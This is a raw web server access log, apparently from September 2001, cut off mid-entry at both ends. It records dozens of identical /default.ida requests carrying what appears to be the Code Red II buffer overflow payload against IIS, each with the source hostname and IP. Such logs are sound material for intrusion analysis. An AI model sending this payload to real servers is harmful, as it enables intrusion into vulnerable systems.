/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010902 02:25:20: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010902 03:29:03: [194.200.174.161] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010902 03:31:18: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010902 04:28:41: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010902 06:18:10: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010902 07:03:51: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010902 08:22:56: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010902 08:40:15: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010902 09:58:09: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010902 10:14:53: [206.156.158.132] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010902 10:17:19: [206.156.158.132] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010902 10:18:29: [206.156.158.132] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010902 11:26:29: [128.134.54.152] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010902 11:27:05: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010902 11:29:45: [210.117.65.44] "GET /index HTTP/1.0" 20010902 12:30:54: cc719395-a.lvngst1.md.home.com [65.1.140.108] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010902 12:38:27: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010902 12:39:34: [61.187.60.14] "" 20010902 14:59:48: [211.112.5.40] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010902 15:08:53: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010902 15:58:49: lews-222.res.umass.edu [128.119.79.222] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010902 16:12:31: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010902 17:03:38: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010902 17:41:43: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010902 18:09:18: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010902 18:30:14: [128.238.42.13] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010902 18:49:39: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010902 20:49:03: [128.134.248.52] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010902 22:22:55: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 00:49:35: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 01:34:54: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 01:48:46: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 02:37:49: [64.165.192.168] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 03:55:37: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 04:16:55: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 04:58:54: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 05:21:34: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 05:53:55: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 07:56:36: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 07:57:38: slkc6400gw2poolA172.slkc.uswest.net [63.230.4.172] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 08:47:29: wsgrhl721.law.columbia.edu [128.59.176.190] "GET 